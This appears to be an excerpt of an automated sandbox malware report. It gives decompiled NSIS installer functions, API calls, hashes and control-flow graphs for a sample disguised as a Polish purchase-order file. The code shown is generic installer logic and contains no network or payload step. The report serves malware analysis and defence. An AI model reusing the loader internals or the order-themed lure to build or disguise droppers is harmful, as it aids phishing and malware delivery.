                                                                                              0x004018b3
                                                                                              0x004018a1
                                                                                              0x004018a1
                                                                                              0x004018a5
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004018a5
                                                                                              0x004018bc
                                                                                              0x004018c2
                                                                                              0x004018c4
                                                                                              0x00000000
                                                                                              0x004018ca
                                                                                              0x004018ca
                                                                                              0x004018cd
                                                                                              0x004018e5
                                                                                              0x004018cf
                                                                                              0x004018d2
                                                                                              0x004018db
                                                                                              0x004018db
                                                                                              0x004018ea
                                                                                              0x004018ef
                                                                                              0x00402269
                                                                                              0x00000000
                                                                                              0x00402269
                                                                                              0x00000000

                                                                                              APIs
                                                                                              • lstrcatA.KERNEL32(00000000,00000000,Call,C:\Users\user\Pacifisterne\Automatcafeer\Syntaksgenkendelsernes\Temposkifterne,00000000,00000000,00000031), ref: 00401790
                                                                                              • CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\Pacifisterne\Automatcafeer\Syntaksgenkendelsernes\Temposkifterne,00000000,00000000,00000031), ref: 004017BA
                                                                                                • Part of subcall function 00405CF9: lstrcpynA.KERNEL32(?,?,00000400,00403187,00422F00,NSIS Error), ref: 00405D06
                                                                                                • Part of subcall function 00404F12: lstrlenA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp\System.dll,00000000,0040E8C0,00000000,?,?,?,?,?,?,?,?,?,00402FCF,00000000,?), ref: 00404F4B
                                                                                                • Part of subcall function 00404F12: lstrlenA.KERNEL32(00402FCF,Skipped: C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp\System.dll,00000000,0040E8C0,00000000,?,?,?,?,?,?,?,?,?,00402FCF,00000000), ref: 00404F5B
                                                                                                • Part of subcall function 00404F12: lstrcatA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp\System.dll,00402FCF,00402FCF,Skipped: C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp\System.dll,00000000,0040E8C0,00000000), ref: 00404F6E
                                                                                                • Part of subcall function 00404F12: SetWindowTextA.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp\System.dll), ref: 00404F80
                                                                                                • Part of subcall function 00404F12: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404FA6
                                                                                                • Part of subcall function 00404F12: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404FC0
                                                                                                • Part of subcall function 00404F12: SendMessageA.USER32(?,00001013,?,00000000), ref: 00404FCE
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
                                                                                              • String ID: C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp$C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp\System.dll$C:\Users\user\Pacifisterne\Automatcafeer\Syntaksgenkendelsernes\Temposkifterne$Call
                                                                                              • API String ID: 1941528284-2339007532
                                                                                              • Opcode ID: 0a1543a085f6924ab6246bab24d9f17f2b644b182a85906dbf2429315c048b63
                                                                                              • Instruction ID: dfa66b7161a0f16b13ad00a25904a83b243dedeb6ee7557d1be3b523159fd244
                                                                                              • Opcode Fuzzy Hash: 0a1543a085f6924ab6246bab24d9f17f2b644b182a85906dbf2429315c048b63
                                                                                              • Instruction Fuzzy Hash: 5641D572910515BACF107BB5CC85EAF3679EF45329B20823BF521F20E2D63C4A419B6D
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 00404F12 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 73stringwindowCOMMON
                                                                                              Download Yara Rule

                                                                                              Control-flow Graph

                                                                                              • Executed
                                                                                              • Not Executed
                                                                                              control_flow_graph 620 404f12-404f27 621 404fdd-404fe1 620->621 622 404f2d-404f3f 620->622 623 404f41-404f45 call 405d1b 622->623 624 404f4a-404f56 lstrlenA 622->624 623->624 626 404f73-404f77 624->626 627 404f58-404f68 lstrlenA 624->627 629 404f86-404f8a 626->629 630 404f79-404f80 SetWindowTextA 626->630 627->621 628 404f6a-404f6e lstrcatA 627->628 628->626 631 404fd0-404fd2 629->631 632 404f8c-404fce SendMessageA * 3 629->632 630->629 631->621 633 404fd4-404fd7 631->633 632->631 633->621
                                                                                              C-Code - Quality: 100%
                                                                                              			E00404F12(CHAR* _a4, CHAR* _a8) {
				struct HWND__* _v8;
				signed int _v12;
				CHAR* _v32;
				long _v44;
				int _v48;
				void* _v52;
				void* __ebx;
				void* __edi;
				void* __esi;
				CHAR* _t26;
				signed int _t27;
				CHAR* _t28;
				long _t29;
				signed int _t39;

				_t26 =  *0x422ee4; // 0x10422
				_v8 = _t26;
				if(_t26 != 0) {
					_t27 =  *0x4237b4;
					_v12 = _t27;
					_t39 = _t27 & 0x00000001;
					if(_t39 == 0) {
						E00405D1B(0, _t39, 0x41f4e8, 0x41f4e8, _a4);
					}
					_t26 = lstrlenA(0x41f4e8);
					_a4 = _t26;
					if(_a8 == 0) {
						L6:
						if((_v12 & 0x00000004) == 0) {
							_t26 = SetWindowTextA( *0x422ec8, 0x41f4e8); // executed
						}
						if((_v12 & 0x00000002) == 0) {
							_v32 = 0x41f4e8;
							_v52 = 1;
							_t29 = SendMessageA(_v8, 0x1004, 0, 0); // executed
							_v44 = 0;
							_v48 = _t29 - _t39;
							SendMessageA(_v8, 0x1007 - _t39, 0,  &_v52); // executed
							_t26 = SendMessageA(_v8, 0x1013, _v48, 0); // executed
						}
						if(_t39 != 0) {
							_t28 = _a4;
							 *((char*)(_t28 + 0x41f4e8)) = 0;
							return _t28;
						}
					} else {
						_t26 =  &(_a4[lstrlenA(_a8)]);
						if(_t26 < 0x800) {
							_t26 = lstrcatA(0x41f4e8, _a8);
							goto L6;
						}
					}
				}
				return _t26;
			}

















                                                                                              0x00404f18
                                                                                              0x00404f24
                                                                                              0x00404f27
                                                                                              0x00404f2d
                                                                                              0x00404f39
                                                                                              0x00404f3c
                                                                                              0x00404f3f
                                                                                              0x00404f45
                                                                                              0x00404f45
                                                                                              0x00404f4b
                                                                                              0x00404f53
                                                                                              0x00404f56
                                                                                              0x00404f73
                                                                                              0x00404f77
                                                                                              0x00404f80
                                                                                              0x00404f80
                                                                                              0x00404f8a
                                                                                              0x00404f93
                                                                                              0x00404f9f
                                                                                              0x00404fa6
                                                                                              0x00404faa
                                                                                              0x00404fad
                                                                                              0x00404fc0
                                                                                              0x00404fce
                                                                                              0x00404fce
                                                                                              0x00404fd2
                                                                                              0x00404fd4
                                                                                              0x00404fd7
                                                                                              0x00000000
                                                                                              0x00404fd7
                                                                                              0x00404f58
                                                                                              0x00404f60
                                                                                              0x00404f68
                                                                                              0x00404f6e
                                                                                              0x00000000
                                                                                              0x00404f6e
                                                                                              0x00404f68
                                                                                              0x00404f56
                                                                                              0x00404fe1

                                                                                              APIs
                                                                                              • lstrlenA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp\System.dll,00000000,0040E8C0,00000000,?,?,?,?,?,?,?,?,?,00402FCF,00000000,?), ref: 00404F4B
                                                                                              • lstrlenA.KERNEL32(00402FCF,Skipped: C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp\System.dll,00000000,0040E8C0,00000000,?,?,?,?,?,?,?,?,?,00402FCF,00000000), ref: 00404F5B
                                                                                              • lstrcatA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp\System.dll,00402FCF,00402FCF,Skipped: C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp\System.dll,00000000,0040E8C0,00000000), ref: 00404F6E
                                                                                              • SetWindowTextA.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp\System.dll), ref: 00404F80
                                                                                              • SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404FA6
                                                                                              • SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404FC0
                                                                                              • SendMessageA.USER32(?,00001013,?,00000000), ref: 00404FCE
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: MessageSend$lstrlen$TextWindowlstrcat
                                                                                              • String ID: Skipped: C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp\System.dll
                                                                                              • API String ID: 2531174081-2340635490
                                                                                              • Opcode ID: 7807df4f356ea8157868d104e1ce756945f1af52411ab180d12a31a7a846d162
                                                                                              • Instruction ID: 5a9a404093729f8c7a4ed64dcb73daf90ff889549f225b9df3951733f5861a8d
                                                                                              • Opcode Fuzzy Hash: 7807df4f356ea8157868d104e1ce756945f1af52411ab180d12a31a7a846d162
                                                                                              • Instruction Fuzzy Hash: EB219DB1A00119BADF119FA5DD84ADEBFB9EF44354F14807AF904B6290C7788E41DBA8
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 004053D8 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 39COMMON
                                                                                              Download Yara Rule

                                                                                              Control-flow Graph

                                                                                              • Executed
                                                                                              • Not Executed
                                                                                              control_flow_graph 634 4053d8-405423 CreateDirectoryA 635 405425-405427 634->635 636 405429-405436 GetLastError 634->636 637 405450-405452 635->637 636->637 638 405438-40544c SetFileSecurityA 636->638 638->635 639 40544e GetLastError 638->639 639->637
                                                                                              C-Code - Quality: 100%
                                                                                              			E004053D8(CHAR* _a4) {
				struct _SECURITY_ATTRIBUTES _v16;
				struct _SECURITY_DESCRIPTOR _v36;
				int _t22;
				long _t23;

				_v36.Sbz1 = _v36.Sbz1 & 0x00000000;
				_v36.Owner = 0x407374;
				_v36.Group = 0x407374;
				_v36.Sacl = _v36.Sacl & 0x00000000;
				_v16.bInheritHandle = _v16.bInheritHandle & 0x00000000;
				_v16.lpSecurityDescriptor =  &_v36;
				_v36.Revision = 1;
				_v36.Control = 4;
				_v36.Dacl = 0x407364;
				_v16.nLength = 0xc;
				_t22 = CreateDirectoryA(_a4,  &_v16); // executed
				if(_t22 != 0) {
					L1:
					return 0;
				}
				_t23 = GetLastError();
				if(_t23 == 0xb7) {
					if(SetFileSecurityA(_a4, 0x80000007,  &_v36) != 0) {
						goto L1;
					}
					return GetLastError();
				}
				return _t23;
			}







                                                                                              0x004053e3
                                                                                              0x004053e7
                                                                                              0x004053ea
                                                                                              0x004053f0
                                                                                              0x004053f4
                                                                                              0x004053f8
                                                                                              0x00405400
                                                                                              0x00405407
                                                                                              0x0040540d
                                                                                              0x00405414
                                                                                              0x0040541b
                                                                                              0x00405423
                                                                                              0x00405425
                                                                                              0x00000000
                                                                                              0x00405425
                                                                                              0x0040542f
                                                                                              0x00405436
                                                                                              0x0040544c
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040544e
                                                                                              0x00405452

                                                                                              APIs
                                                                                              • CreateDirectoryA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 0040541B
                                                                                              • GetLastError.KERNEL32 ref: 0040542F
                                                                                              • SetFileSecurityA.ADVAPI32(?,80000007,00000001), ref: 00405444
                                                                                              • GetLastError.KERNEL32 ref: 0040544E
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: ErrorLast$CreateDirectoryFileSecurity
                                                                                              • String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$ds@$ts@
                                                                                              • API String ID: 3449924974-2230009264
                                                                                              • Opcode ID: f69d3160a82a2859f106a017fa20b71bd819ec85ae22b078452fa26fbc967781
                                                                                              • Instruction ID: 5d613d5f07efa900d759e60f8f8ec78c4c71b6ffd2fe208e339ff175f81ef67f
                                                                                              • Opcode Fuzzy Hash: f69d3160a82a2859f106a017fa20b71bd819ec85ae22b078452fa26fbc967781
                                                                                              • Instruction Fuzzy Hash: F3010871D14259EADF119FA0D9487EFBFB8EB04315F00417AE904B6280D378A644CFAA
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 00406024 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36libraryCOMMON
                                                                                              Download Yara Rule

                                                                                              Control-flow Graph

                                                                                              • Executed
                                                                                              • Not Executed
                                                                                              control_flow_graph 640 406024-406044 GetSystemDirectoryA 641 406046 640->641 642 406048-40604a 640->642 641->642 643 40605a-40605c 642->643 644 40604c-406054 642->644 646 40605d-40608f wsprintfA LoadLibraryExA 643->646 644->643 645 406056-406058 644->645 645->646
                                                                                              C-Code - Quality: 100%
                                                                                              			E00406024(intOrPtr _a4) {
				char _v292;
				int _t10;
				struct HINSTANCE__* _t14;
				void* _t16;
				void* _t21;

				_t10 = GetSystemDirectoryA( &_v292, 0x104);
				if(_t10 > 0x104) {
					_t10 = 0;
				}
				if(_t10 == 0 ||  *((char*)(_t21 + _t10 - 0x121)) == 0x5c) {
					_t16 = 1;
				} else {
					_t16 = 0;
				}
				_t5 = _t16 + 0x409014; // 0x5c
				wsprintfA(_t21 + _t10 - 0x120, "%s%s.dll", _t5, _a4);
				_t14 = LoadLibraryExA( &_v292, 0, 8); // executed
				return _t14;
			}








                                                                                              0x0040603b
                                                                                              0x00406044
                                                                                              0x00406046
                                                                                              0x00406046
                                                                                              0x0040604a
                                                                                              0x0040605c
                                                                                              0x00406056
                                                                                              0x00406056
                                                                                              0x00406056
                                                                                              0x00406060
                                                                                              0x00406074
                                                                                              0x00406088
                                                                                              0x0040608f

                                                                                              APIs
                                                                                              • GetSystemDirectoryA.KERNEL32(?,00000104), ref: 0040603B
                                                                                              • wsprintfA.USER32 ref: 00406074
                                                                                              • LoadLibraryExA.KERNELBASE(?,00000000,00000008), ref: 00406088
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: DirectoryLibraryLoadSystemwsprintf
                                                                                              • String ID: %s%s.dll$UXTHEME$\
                                                                                              • API String ID: 2200240437-4240819195
                                                                                              • Opcode ID: 38f932dad6d10820f3564912fa7e39c047c8ada2afd73a6a353afcde48b08f1a
                                                                                              • Instruction ID: 72752c577983536edbae7b7a4b2c1439e1101fa4b93fa8d0208d5a4e16dde88a
                                                                                              • Opcode Fuzzy Hash: 38f932dad6d10820f3564912fa7e39c047c8ada2afd73a6a353afcde48b08f1a
                                                                                              • Instruction Fuzzy Hash: E6F0FC30A40109AADB14E764DC0DFEB365CAB09305F140576A546E11D1D578E9258B69
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 00402E9F Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 155COMMON
                                                                                              Download Yara Rule

                                                                                              Control-flow Graph

                                                                                              • Executed
                                                                                              • Not Executed
                                                                                              control_flow_graph 647 402e9f-402eb3 648 402eb5 647->648 649 402ebc-402ec4 647->649 648->649 650 402ec6 649->650 651 402ecb-402ed0 649->651 650->651 652 402ee0-402eed call 40307b 651->652 653 402ed2-402edb call 403091 651->653 657 403032 652->657 658 402ef3-402ef7 652->658 653->652 661 403034-403035 657->661 659 40301b-40301d 658->659 660 402efd-402f1d GetTickCount call 406175 658->660 662 403066-40306a 659->662 663 40301f-403022 659->663 673 403071 660->673 675 402f23-402f2b 660->675 665 403074-403078 661->665 666 403037-40303d 662->666 667 40306c 662->667 668 403024 663->668 669 403027-403030 call 40307b 663->669 671 403042-403050 call 40307b 666->671 672 40303f 666->672 667->673 668->669 669->657 681 40306e 669->681 671->657 683 403052-40305e call 405a13 671->683 672->671 673->665 678 402f30-402f3e call 40307b 675->678 679 402f2d 675->679 678->657 685 402f44-402f4d 678->685 679->678 681->673 690 403060-403063 683->690 691 403017-403019 683->691 687 402f53-402f70 call 406195 685->687 693 403013-403015 687->693 694 402f76-402f8d GetTickCount 687->694 690->662 691->661 693->661 695 402fd2-402fd4 694->695 696 402f8f-402f97 694->696 699 402fd6-402fda 695->699 700 403007-40300b 695->700 697 402f99-402f9d 696->697 698 402f9f-402fcf MulDiv wsprintfA call 404f12 696->698 697->695 697->698 698->695 703 402fdc-402fe1 call 405a13 699->703 704 402fef-402ff5 699->704 700->675 701 403011 700->701 701->673 709 402fe6-402fe8 703->709 705 402ffb-402fff 704->705 705->687 708 403005 705->708 708->673 709->691 710 402fea-402fed 709->710 710->705
                                                                                              C-Code - Quality: 94%
                                                                                              			E00402E9F(int _a4, intOrPtr _a8, intOrPtr _a12, int _a16, signed char _a19) {
				signed int _v8;
				int _v12;
				long _v16;
				intOrPtr _v20;
				char _v84;
				void* _t59;
				intOrPtr _t69;
				long _t70;
				void* _t71;
				intOrPtr _t81;
				intOrPtr _t86;
				long _t89;
				signed int _t90;
				int _t91;
				int _t92;
				intOrPtr _t93;
				void* _t94;
				void* _t95;

				_t90 = _a16;
				_t86 = _a12;
				_v12 = _t90;
				if(_t86 == 0) {
					_v12 = 0x8000;
				}
				_v8 = _v8 & 0x00000000;
				_t81 = _t86;
				if(_t86 == 0) {
					_t81 = 0x40e8c0;
				}
				_t56 = _a4;
				if(_a4 >= 0) {
					E00403091( *0x423758 + _t56);
				}
				if(E0040307B( &_a16, 4) == 0) {
					L33:
					_push(0xfffffffd);
					goto L34;
				} else {
					if((_a19 & 0x00000080) == 0) {
						if(_t86 == 0) {
							while(_a16 > 0) {
								_t91 = _v12;
								if(_a16 < _t91) {
									_t91 = _a16;
								}
								if(E0040307B(0x40a8c0, _t91) == 0) {
									goto L33;
								} else {
									if(E00405A13(_a8, 0x40a8c0, _t91) == 0) {
										L28:
										_push(0xfffffffe);
										L34:
										_pop(_t59);
										return _t59;
									}
									_v8 = _v8 + _t91;
									_a16 = _a16 - _t91;
									continue;
								}
							}
							L43:
							return _v8;
						}
						if(_a16 < _t90) {
							_t90 = _a16;
						}
						if(E0040307B(_t86, _t90) != 0) {
							_v8 = _t90;
							goto L43;
						} else {
							goto L33;
						}
					}
					_v16 = GetTickCount();
					E00406175(0x40a830);
					_t13 =  &_a16;
					 *_t13 = _a16 & 0x7fffffff;
					_a4 = _a16;
					if( *_t13 <= 0) {
						goto L43;
					} else {
						goto L9;
					}
					while(1) {
						L9:
						_t92 = 0x4000;
						if(_a16 < 0x4000) {
							_t92 = _a16;
						}
						if(E0040307B(0x40a8c0, _t92) == 0) {
							goto L33;
						}
						_a16 = _a16 - _t92;
						 *0x40a848 = 0x40a8c0;
						 *0x40a84c = _t92;
						while(1) {
							 *0x40a850 = _t81;
							 *0x40a854 = _v12; // executed
							_t69 = E00406195(0x40a830); // executed
							_v20 = _t69;
							if(_t69 < 0) {
								break;
							}
							_t93 =  *0x40a850; // 0x40e8c0
							_t94 = _t93 - _t81;
							_t70 = GetTickCount();
							_t89 = _t70;
							if(( *0x4237b4 & 0x00000001) != 0 && (_t70 - _v16 > 0xc8 || _a16 == 0)) {
								wsprintfA( &_v84, "... %d%%", MulDiv(_a4 - _a16, 0x64, _a4));
								_t95 = _t95 + 0xc;
								E00404F12(0,  &_v84);
								_v16 = _t89;
							}
							if(_t94 == 0) {
								if(_a16 > 0) {
									goto L9;
								}
								goto L43;
							} else {
								if(_a12 != 0) {
									_v8 = _v8 + _t94;
									_v12 = _v12 - _t94;
									_t81 =  *0x40a850; // 0x40e8c0
									L23:
									if(_v20 != 1) {
										continue;
									}
									goto L43;
								}
								_t71 = E00405A13(_a8, _t81, _t94); // executed
								if(_t71 == 0) {
									goto L28;
								}
								_v8 = _v8 + _t94;
								goto L23;
							}
						}
						_push(0xfffffffc);
						goto L34;
					}
					goto L33;
				}
			}





















                                                                                              0x00402ea7
                                                                                              0x00402eab
                                                                                              0x00402eae
                                                                                              0x00402eb3
                                                                                              0x00402eb5
                                                                                              0x00402eb5
                                                                                              0x00402ebc
                                                                                              0x00402ec0
                                                                                              0x00402ec4
                                                                                              0x00402ec6
                                                                                              0x00402ec6
                                                                                              0x00402ecb
                                                                                              0x00402ed0
                                                                                              0x00402edb
                                                                                              0x00402edb
                                                                                              0x00402eed
                                                                                              0x00403032
                                                                                              0x00403032
                                                                                              0x00000000
                                                                                              0x00402ef3
                                                                                              0x00402ef7
                                                                                              0x0040301d
                                                                                              0x00403066
                                                                                              0x00403037
                                                                                              0x0040303d
                                                                                              0x0040303f
                                                                                              0x0040303f
                                                                                              0x00403050
                                                                                              0x00000000
                                                                                              0x00403052
                                                                                              0x0040305e
                                                                                              0x00403017
                                                                                              0x00403017
                                                                                              0x00403034
                                                                                              0x00403034
                                                                                              0x00000000
                                                                                              0x00403034
                                                                                              0x00403060
                                                                                              0x00403063
                                                                                              0x00000000
                                                                                              0x00403063
                                                                                              0x00403050
                                                                                              0x00403071
                                                                                              0x00000000
                                                                                              0x00403071
                                                                                              0x00403022
                                                                                              0x00403024
                                                                                              0x00403024
                                                                                              0x00403030
                                                                                              0x0040306e
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00403030
                                                                                              0x00402f08
                                                                                              0x00402f0b
                                                                                              0x00402f10
                                                                                              0x00402f10
                                                                                              0x00402f1a
                                                                                              0x00402f1d
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00402f23
                                                                                              0x00402f23
                                                                                              0x00402f23
                                                                                              0x00402f2b
                                                                                              0x00402f2d
                                                                                              0x00402f2d
                                                                                              0x00402f3e
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00402f44
                                                                                              0x00402f47
                                                                                              0x00402f4d
                                                                                              0x00402f53
                                                                                              0x00402f5b
                                                                                              0x00402f61
                                                                                              0x00402f66
                                                                                              0x00402f6d
                                                                                              0x00402f70
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00402f76
                                                                                              0x00402f7c
                                                                                              0x00402f7e
                                                                                              0x00402f8b
                                                                                              0x00402f8d
                                                                                              0x00402fbb
                                                                                              0x00402fc1
                                                                                              0x00402fca
                                                                                              0x00402fcf
                                                                                              0x00402fcf
                                                                                              0x00402fd4
                                                                                              0x0040300b
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00402fd6
                                                                                              0x00402fda
                                                                                              0x00402fef
                                                                                              0x00402ff2
                                                                                              0x00402ff5
                                                                                              0x00402ffb
                                                                                              0x00402fff
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00403005
                                                                                              0x00402fe1
                                                                                              0x00402fe8
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00402fea
                                                                                              0x00000000
                                                                                              0x00402fea
                                                                                              0x00402fd4
                                                                                              0x00403013
                                                                                              0x00000000
                                                                                              0x00403013
                                                                                              0x00000000
                                                                                              0x00402f23

                                                                                              APIs
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: CountTick$wsprintf
                                                                                              • String ID: ... %d%%
                                                                                              • API String ID: 551687249-2449383134
